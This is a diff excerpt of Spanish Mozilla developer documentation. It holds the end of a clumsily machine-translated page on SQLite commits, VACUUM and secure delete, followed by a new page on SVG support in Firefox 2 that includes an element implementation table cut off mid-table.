+<p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
+<div class="almost_half_cell" style="">
+ <div dir="ltr" style="">
+  <div id="tts_button" style="display: none;" title="Escuchar
+traducción">
+   &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+  <p><span class="long_text" id="result_box"><span title="">Escrituras en disco</span></span></p>
+  <p><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="">Sqlite establece las normas básicas de la teoría ACID base de datos:</span></span></p>
+ </div>
+</div>
+<ul>
+ <li><span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="">Atomicidad: cada transacción es atómica y no puede ser "parcialmente" cometidos.</span></span></li>
+ <li><span class="long_text" id="result_box"><span title="">Consistencia: la base de datos no se corrompe.</span></span></li>
+ <li><span class="long_text" id="result_box"><span title="">Aislamiento: varias transacciones no se afectan entre sí.</span></span></li>
+ <li><span class="long_text" id="result_box"><span style="" title="">Durabilidad: una vez ha pasado por cometer, los datos se garantiza que sea cometido.</span></span></li>
+</ul>
+<p><span class="goog-zippy-collapsed" id="romanspan" style="display: none;"><img alt="" class="buttons square13 zippy-plus" id="romanimg" src="http://www.google.es/images/cleardot.gif"><span id="romantext">Mostrar forma romanizada</span></span></p>
+<div class="almost_half_cell" style="display: block;">
+ <div dir="ltr" style="">
+  <div id="tts_button" style="display: none;" title="Escuchar traducción">
+   &lt;object width="18" height="18" id="tts_flash" data="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="<a class="external" href="http://www.gstatic.com/translate/sound_player.swf" rel="freelink">http://www.gstatic.com/translate/sound_player.swf</a>"/&gt; &lt;param name="flashvars" value="sound_name=&amp;amp;sound_name_cb=_TTSSoundFile"/&gt; &lt;param name="wmode" value="transparent"/&gt; &lt;param name="allowScriptAccess" value="always"/&gt;&lt;/object&gt;</div>
+  <span class="long_text" id="result_box"><span title="The problem is that these requirements
+make some operations, especially commits, very slow.">El problema es que estos requisitos hacer algunas operaciones, especialmente compromete, muy lento. </span><span title='For each commit, sqlite does two disk syncs
+among many other file operations (see the "Atomic Commit"
+section of http://www.sqlite.org/php2004/slides-all.html for more
+information on how this works).'>Para cada confirmación, sqlite hace dos sincroniza el disco entre muchas otras operaciones de archivo (consulte la sección "commit atómico" de </span></span><a class="external" href="http://www.sqlite.org/php2004/slides-all.html" rel="external nofollow" title="http://www.sqlite.org/php2004/slides-all.html">http://www.sqlite.org/php2004/slides-all.html</a><span class="long_text" id="result_box"><span title='For each commit, sqlite does two disk syncs
+among many other file operations (see the "Atomic Commit"
+section of http://www.sqlite.org/php2004/slides-all.html for more
+information on how this works).'> para obtener más información sobre cómo funciona esto). </span><span title="These disk
+syncs are very slow and limit the speed of a commit to the rotational
+speed of the mechanical disk.">Estos sincroniza el disco son muy lentos y limitan la velocidad de un compromiso a la velocidad de rotación del disco mecánico. </span><br>
+  <br>
+  <span title="Vacuuming and zero-fill">Pasar la aspiradora y cero de relleno </span><br>
+  <br>
+  <span title="Sqlite has a VACUUM command to compress unused
+space from the database.">Sqlite tiene un comando VACUUM para comprimir el espacio no utilizado de la base de datos. </span><span title="Sqlite works like a memory manager or a file system.">Sqlite funciona como un administrador de memoria o un sistema de archivos. </span><span title="When data is deleted, the associated bytes are marked as free but
+are not removed from the file.">Cuando se eliminan datos, los bytes asociados se marcan como libres, pero no se quita del archivo. </span><span title="This means that the file will not shrink,
+and some data may still be visible in the file.">Esto significa que el archivo no se reducirá, y los datos todavía pueden ser visibles en el archivo. </span><span title="The way to work around this is to run the
+VACUUM command to remove this space.">La manera de evitar esto es ejecutar el comando de vacío para eliminar este espacio. </span><br>
+  <br>
+  <span title="Vacuuming is very slow.">Pasar la aspiradora es muy lenta. </span><span title="The vacuum command is essentially the
+same as the command line sqlite3 olddb .dump | sqlite3 newdb; mv newdb
+olddb.">El comando de vacío es esencialmente la misma que la línea de comandos sqlite3 olddb. Volcado </span></span><code>sqlite3 olddb .dump | sqlite3 newdb; mv newdb olddb</code>.<span class="long_text" id="result_box"><span title="On some networked
+drives, vacuuming a 10MB database has been timed at over one minute.">En algunas unidades de red, pasar la aspiradora una base de datos de 10 MB ha sido el tiempo en más de un minuto. </span><span title="Therefore, you should avoid
+vacuuming whenever possible.">Por lo tanto, debe evitar siempre que sea posible pasar la aspiradora. </span><br>
+  <br>
+  <span title="Some items in databases are privacy sensitive,
+such as deleted history items.">Algunos artículos de bases de datos son la privacidad sensibles, como los elementos eliminados de la historia. </span><span title="Users have the
+expectation that deleting items in their history will remove the traces
+of that from the database.">Los usuarios tienen la expectativa de que a borrar los elementos de su historia será eliminar los restos de que a partir de la base de datos. </span><span title="As a
+result, Mozilla enables the SQLITE_SECURE_DELETE preprocessor flag in
+db/sqlite3/src/Makefile.in .">Como resultado, Mozilla permite la bandera preprocesador </span></span><code>SQLITE_SECURE_DELETE</code><span class="long_text" id="result_box"><span title="As a
+result, Mozilla enables the SQLITE_SECURE_DELETE preprocessor flag in
+db/sqlite3/src/Makefile.in ."> en </span></span><span class="lang lang-en"><a class="external" href="http://mxr.mozilla.org/mozilla-central/source/db/sqlite3/src/Makefile.in" rel="external nofollow" title="http://mxr.mozilla.org/mozilla-central/source/db/sqlite3/src/Makefile.in"><code>db/sqlite3/src/Makefile.in</code></a> .</span><span class="long_text" id="result_box"><span title="This flag causes deleted
+items to be filled with 0s on disk.">Esta opción hace que los elementos eliminados para ser llenado con 0s en el disco. </span><span title="This eliminates the need to vacuum except to reclaim disk space,
+and makes many operations much faster.">Esto elimina la necesidad de vacío, excepto para recuperar espacio en disco, y hace que muchas operaciones mucho más rápido. </span><br>
+  <br>
+  <span title="Zero-filling can have significant performance
+overhead in some situations.">Zero-llenado pueden tener sobrecarga de rendimiento significativas en algunas situaciones. </span><span title="For example, the history service used to delete many database
+items at shutdown when expiring old history items.">Por ejemplo, el servicio de la historia usa para eliminar varios elementos de base de datos cuando se apaga cuando expira elementos antiguos de la historia. </span><span title='This operation is not necessarily slow, but writing 0s to disk
+in an "ACI" database is still slow.'>Esta operación no es necesariamente lento, pero 0s escribir en el disco en un "ACI" base de datos todavía son lentos. </span><span title="This made shutdown very
+slow because the AsyncIO thread would block shutdown ( bug 328598).">Esto hizo que cierre muy lento porque el hilo AsyncIO bloquearía apagado (</span></span><span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=328598" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=328598">bug 328598</a></span><span class="long_text" id="result_box"><span title="This made shutdown very
+slow because the AsyncIO thread would block shutdown ( bug 328598).">). </span><span title="Shutdown times of more than 30 seconds were seen.">tiempos de parada de más de 30 segundos fueron vistos. </span><span title="As a result, this bug
+introduced incremental history expiration eliminating the need to write
+many 0s to disk on shutdown.">Como resultado, este error introducido la historia de caducidad incremental eliminando la necesidad de escribir muchas 0s en el disco en el apagado. </span><br>
+  <br>
+  <span title="Unfortunately, this operation cannot be
+controlled on a per-transaction or per-connection basis.">Desafortunadamente, esta operación no puede ser controlado en un esquema por transacción o cada conexión. </span><span title="Some operations will benefit, while others
+will be hurt.">Algunas operaciones se beneficiarán, mientras que otros serán afectados.</span></span></div>
+</div>
+<p> </p>
diff --git a/files/es/svg_en_firefox/index.html b/files/es/svg_en_firefox/index.html
new file mode 100644
index 0000000000..ba802c6af4
--- /dev/null
+++ b/files/es/svg_en_firefox/index.html
@@ -0,0 +1,847 @@
+---
+title: SVG en Firefox
+slug: SVG_en_Firefox
+tags:
+  - NecesitaRevisiónTécnica
+  - SVG
+  - Todas_las_Categorías
+translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
+---
+<p> </p>
+<p><b>Firefox 2</b> sigue avanzando en la mejora de la implementación de <a class="external" href="http://www.w3.org/Graphics/SVG/">Gráficos vectoriales escalables (SVG)</a>. Aunque el único elemento añadido a los ya soportados por Firefox 1.5 ha sido <code>&lt;textPath&gt;</code>, se han resuelto varios fallos y se ha incorporado parte de la especificación.</p>
+<p><b>Firefox SVG</b> es un subconjunto de <a class="external" href="http://www.w3.org/TR/SVG11/">SVG 1.1</a>, pero no es ninguno de los perfiles oficiales (Tiny, Basic, Full). Al final de este documento se puede encontrar una lista completa de los elementos <a href="es/SVG">SVG</a> y su estado de implementación en Firefox 2.0. El resto del documento aporta información sobre las limitaciones en la implementación.</p>
+<p>La particular implementación que hemos realizado puede dificultar la creación de contenidos. Le pedimos que tenga paciencia mientras trabajamos en la implementación completa de esta extensa especificación.</p>
+<p>Mientras lee esto, usted puede preguntarse cuántos de estos detalles sobre de la implementación pueden haber cambiado. Por desgracia la <a class="external" href="http://www.mozilla.org/roadmap/gecko-1.9-roadmap.html">hoja de ruta</a> actual sitúa la publicación de Firefox con la nueva versión de Gecko en el primer trimestre de 2007. Sin embargo si desea empezar a experimentar con las nuevas funcionalidades, tiene a su disposición en las <a class="external" href="http://www.mozilla.org/developer/#builds">compilaciones nocturnas</a> las últimas evoluciones. También puede consultar <a class="external" href="http://www.mozilla.org/projects/svg/status.html">la tabla actualizada</a> sobre la implementación de SVG en la versión de desarrollo.</p>
+<h2 id="Rendimiento" name="Rendimiento">Rendimiento</h2>
+<p>Firefox usa el mismo motor de renderizado, <a class="external" href="http://cairographics.org/">cairo</a>, en todas las plataformas. Por lo tanto sus características de interpretación serán similares. El rendimiento en Linux es el más difícil de predecir, esto es debido a las distintas implementaciones que hacen los diversos servidores X de la extensión RENDER.</p>
+<p>En Windows el renderizado de SVG es bastante más rápido que en otras plataformas.</p>
+<h2 id="Rango_de_coordenadas" name="Rango_de_coordenadas">Rango de coordenadas</h2>
+<p>Si el contenido posee una geometría con un inmenso rango de coordenadas, habrá que tener cuidado con los problemas ocasionados por el uso interno de cairo para la representación de punto fijo de 16.16 bits para los cálculos. Cairo no recorta las primitivas antes del proceso de rasterización por lo que las coordenadas finales que excedan el rango de -32678 a 32677 tras la transformación provocarán errores de renderizado y posiblemente un rendimiento muy bajo.</p>
+<h2 id="Texto_en_Windows_98" name="Texto_en_Windows_98">Texto en Windows 98</h2>
+<p>Un lamentable efecto secundario de usar Cairo como backend de renderizado en Windows es que el renderizado de texto no funcionará en Windows 98. En realidad la cosa es aún peor, si aparece cualquier texto durante el renderizado de contenidos SVG, todo el dibujo se parará.</p>
+<h2 id="Selecci.C3.B3n_de_fuente" name="Selecci.C3.B3n_de_fuente">Selección de fuente</h2>
+<p>Si está familiarizado con CSS probablemente sabrá que pueden especificar fuentes alternativas para las propiedades 'font', por si los glifos de una fuente concreta no están disponibles. El actual motor de renderizado de SVG sólo tratará de usar la primera fuente especificada, y si ésta no existe, usará una fuente del sistema. Las fuentes secundarias nunca son usadas, por ejemplo, font-family="Arial,LucidaSansUnicode" no generará una fuente LucidaSansUnicode, aun en el caso de que Arial no esté disponible.</p>
+<h2 id="Impresi.C3.B3n" name="Impresi.C3.B3n">Impresión</h2>
+<p>Por desgracia, actualmente en la impresión no se aprovechan las propiedades vectoriales de SVG para generar una salida óptima, por contra, se renderiza según la resolución de la pantalla y luego la salida se hace como imagen.</p>
+<p>Al imprimir en MS-Windows, el tamaño de la fuente será mucho más grande que el especificado por SVG.</p>
+<h2 id="Opacidad_de_grupos" name="Opacidad_de_grupos">Opacidad de grupos</h2>
+<p>La propiedad de opacidad de grupo <code>opacity</code> permite que los objetos contenedores SVG puedan ser tratados como capas semitransparentes, y está separada de las propiedades "fill-opacity" y "stroke-opacity". La implementación actual de "opacity" consume bastantes recursos, debería ser usada con mesura. "fill-opacity" y "stroke-opacity" son mucho más rápidas, y dependiendo de su contenido pueden aportar los mismos resultados.</p>
+<h2 id="Fuentes_rotadas" name="Fuentes_rotadas">Fuentes rotadas</h2>
+<p>En las plataformas Microsoft Windows y Mac OSX, un texto rotado no es rellenado completamente. El error es por lo general despreciable y puede solucionarse usando un relleno un poquito más grueso. A continuación se muestra un ejemplo con la diferencia:</p>
+<p><img alt="Imagen:Text-fill-stroke.png"></p>
+<h2 id=".3Cimage.3E" name=".3Cimage.3E">&lt;image&gt;</h2>
+<p>&lt;image&gt; no soporta imágenes SVG en Firefox 1.5, sólo los formatos de imagen rasterizados que Firefox maneja.</p>
+<p>Todas las instancias de &lt;image&gt; tienen una copia separada de la imagen que está siendo usada, lo cual es algo a tener en cuenta si tu contenido está usando múltiples copias de una imagen para un icono o algo parecido. Desafortunadamente, &lt;use&gt; en contenido &lt;image&gt; cuenta como otra copia en este caso.</p>
+<p>De manera adicional, un uso intensivo de imágenes rasterizadas en SVG puede degradar sobremanera el rendimiento en Firefox 1.5.</p>
+<h2 id="Eventos" name="Eventos">Eventos</h2>
+<p>Soportamos los atributos de SVG para eventos, a excepción de <code>onfocusin</code>, <code>onfocusout</code>, y <code>onactivate</code>.</p>
+<p>Nuestro actual manejo del evento <code>onload</code> no es estándar, pero creemos que aún así no impide su uso correcto. Mientras que el código especificado por el atributo <code>onload</code> sea llamado para cada elemento, un evento <code>SVGLoad</code> será llamado únicamente para el elemento <code>&lt;svg&gt;</code> raíz. Algunos métodos DOM devolverán basura o error si son llamados antes de que el elemento correspondiente haya sido renderizado, algo que tendrás que tener en cuenta al escribir código <code>onload</code>. Dichos métodos son <code>getBBox</code>, <code>getScreenCTM</code>, etc...</p>
+<p>No damos soporte a los eventos para el teclado específicos de Adobe (<code>onkeydown</code>, <code>onkeyup</code>).</p>
+<h2 id="Interoperabilidad" name="Interoperabilidad">Interoperabilidad</h2>
+<p>Si está trabajando con contenidos SVG actuales, puede encontrar problemas al cargarlos en Firefox. La mayoría de los problemas suelen ser triviales y son el resultado de una implementación más estricta en Firefox. En <a class="external" href="http://jwatt.org/svg/authoring/">Guías de estilo para crear SVG</a>, Jonathan Watt explica problemas comunes.</p>
+<h2 id="Situaciones_de_uso_de_SVG" name="Situaciones_de_uso_de_SVG">Situaciones de uso de SVG</h2>
+<p>Firefox 1.5 maneja SVG como un documento completo, o como referencia para los elementos <code>embed</code>, <code>object</code>, e <code>iframe</code>. Actualmente no puede ser usado en HTML o XHTML como fuente del elemento <code>img</code>, ni para las propiedades CSS relativas a las imágenes.</p>
+<h2 id="Animaciones" name="Animaciones">Animaciones</h2>
+<p>Firefox 1.5 no implementa la animación declarativa, pero soporta scripting dinámico. Doug Shepers lo ha usado para crear <a class="external" href="http://www.vectoreal.com/smilscript/">SmilScript</a>, una pequeña biblioteca de Javascript que implementa parte de la animación declarativa de SVG.</p>
+<h2 id="Fallos_corregidos_en_Firefox_2" name="Fallos_corregidos_en_Firefox_2">Fallos corregidos en Firefox 2</h2>
+<p>Firefox 2 ha arreglado algunos fallos en su implementación para SVG. Esta sección presenta un repaso rápido a los arreglos más interesantes.</p>
+<ul>
+ <li>Se ha solucionado un problema al rellenar y rotar texto en el que la posición del dibujo no era reiniciada correctamente entre dos operaciones (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=333615">333615</a>).</li>
+</ul>
+<ul>
+ <li>Los gradientes radiales ahora mantienen los atributos <code>fx</code> y <code>fy</code> para asegurar que se encuentran dentro de la circunferencia de un círculo (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=330682">330682</a>).</li>
+</ul>
+<ul>
+ <li>La longitud del texto ahora puede ser calculada usando su método <code>getComputedTextLength()</code>, lo que mejora la compatibilidad con ciertos sitios web (bugs <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311031">311031</a> and <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=264380">264380</a>).</li>
+</ul>
+<ul>
+ <li>Los elementos <code>&lt;tspan&gt;</code> ahora soportan correctamente los atributos <code>dx</code> y <code>dy</code> y funcionan si los atributos <code>x</code> e <code>y</code> no han sido especificados (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311063">311063</a>).</li>
+</ul>
+<ul>
+ <li>Se ha mejorado la lógica de invalidación en el redibujado, lo que evita el parpadeo de los píxeles en ciertos casos (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312269">312269</a>).</li>
+</ul>
+<ul>
+ <li>Arreglado un fallo que impedía que los eventos fuesen manejados apropiadamente por objetos expuestos por el camino de recorte de otro objeto (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=315861">315861</a>).</li>
+</ul>
+<ul>
+ <li>Arreglado un fallo que podía provocar el cierre de la aplicación si un elemento <code>&lt;path&gt;</code> tenía un atributo <code>d</code> con una cadena vacía (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=318379">318379</a>).</li>
+</ul>
+<ul>
+ <li>El atributo <code>overflow</code> ahora funciona para el elemento <code>marker</code>, usando la sintaxis <code>overflow="visible"</code>, la cual antes no funcionaba correctamente (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=320623">320623</a>).</li>
+</ul>
+<ul>
+ <li>Ahora se puede acceder al atributo <code>&lt;style&gt;</code> del elemento <code>marker</code> sin que se lance ninguna excepción (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=323589">323589</a>).</li>
+</ul>
+<ul>
+ <li>Ahora se pueden usar valores porcentuales en el radio de un gradiente radial (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=323669">323669</a>).</li>
+</ul>
+<ul>
+ <li>El método <code>documentElement.createSVGAngle()</code> ahora está implementado (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=327437">327437</a>).</li>
+</ul>
+<ul>
+ <li>Cuando un elemento <code>&lt;stop&gt;</code> se convierte en hijo de otro elemento <code>&lt;stop&gt;</code> dicho elemento deja de ser un aserto (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=328137">328137</a>).</li>
+</ul>
+<ul>
+ <li>Ahora funciona el cambio de la altura, anchura y orientación de los pinceles (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=325728">325728</a>).</li>
+</ul>
+<ul>
+ <li>El tamaño de las fuentes impresas en Windows ya no es tan grande como el especificado por el SVG (bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=314707">314707</a>).</li>
+</ul>
+<h2 id="Estado_de_la_implementaci.C3.B3n_de_los_elementos" name="Estado_de_la_implementaci.C3.B3n_de_los_elementos">Estado de la implementación de los elementos</h2>
+<table style="margin: 5px;">
+ <tbody>
+  <tr>
+   <th><b>Elemento </b></th>
+   <th><b>Notas </b></th>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#basic-structure-mod">Módulo de estructura</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SVGElement">svg</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>Los atributos DOM <code>currentScale</code> y <code>currentTranslate</code> están implementados pero no existe una interfaz de usuario para pan ni zoom.</li>
+     <li>SVGSVGElement
+      <ul>
+       <li>Atributos no implementados: contentScriptType, contentStyleType, viewport, useCurrentView, currentView.</li>
+       <li>Bindings no implementados: pauseAnimations, unpauseAnimations,animationsPaused, getCurrentTime, setCurrentTime, getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure, deselectAll, createSVGAngle, getElementById</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#GElement">g</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#DefsElement">defs</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#DescElement">desc</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>Solo disponible en el DOM, sin interfaz de usuario.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#TitleElement">title</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/metadata.html#MetadataElement">metadata</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>Solo disponible en el DOM, sin interfaz de usuario. &lt;/td&gt;</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SymbolElement">symbol</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#UseElement">use</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>Solo funciona para referencias internas al documento (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=269482">bug 269482</a>).</li>
+     <li>No sigue completamente las reglas de la cascada &lt;svg:use&gt; (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=265894">bug 265894</a>).</li>
+     <li>No entrega eventos a un arbol SVGElementInstance (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=265895">bug 265895</a>).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#conditional-mod">Módulo de procesamiento condicional</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SwitchElement">switch</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#image-mod">Módulo de imagen</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#ImageElement">image</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>Solo funciona para tramas de bitmaps (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=272288">bug 272288</a>).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/styling.html#style-mod">Módulo de estilo</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/styling.html#StyleElement">style</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#shape-mod">Módulo de formas</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/paths.html#PathElement">path</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>Interfaz SVGPathElement
+      <ul>
+       <li>Atributos no implementados: pathLength, normalizedPathSegList, animatedPathSegList, animatedNormalizedPathSegList</li>
+       <li>Bindings no implementados: getTotalLength, getPointAtLength, getPathSegAtLength</li>
+      </ul>
+     </li>
+     <li>Interfaz SVGPathSegList
+      <ul>
+       <li>Bindings No implementados: replaceItem()</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#RectElement">rect</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#CircleElement">circle</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#LineElement">line</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#EllipseElement">ellipse</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#PolylineElement">polyline</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#PolygonElement">polygon</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/text.html#text-mod">Módulo de texto</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TextElement">text</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>SVGTextElement
+      <ul>
+       <li>Atributos no implementados: rotate, textLength, lengthAdjust</li>
+       <li>Bindings no implementados: getNumberOfChars, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString.</li>
+       <li>Bindings not functional at <code>onload</code> time: getExtentOfChar</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TSpanElement">tspan</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+     <li>SVGTSpanElement
+      <ul>
+       <li>Atributos no implementados: rotate, textLength, lengthAdjust</li>
+       <li>Bindings no implementados: getNumberOfChars, getComputedTextLength, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getExtentOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TextPathElement">textPath</a></td>
+   <td>
+    <ul>
+     <li>Implementado en Firefox 2.</li>
+     <li>Atributos no implementados: method, spacing, textLength, lengthAdjust</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphElement">altGlyph</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphDefElement">altGlyphDef</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphItemElement">altGlyphItem</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#GlyphRefElement">glyphRef</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#marker-mod">Módulo de pinceles</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#MarkerElement">marker</a></td>
+   <td>
+    <ul>
+     <li>Implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/color.html#color-profile-mod">Color Módulo de perfiles</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/color.html#ColorProfileElement">color-profile</a></td>
+   <td>
+    <ul>
+     <li>No implementado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#gradient-mod">Módulo de gradientes</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
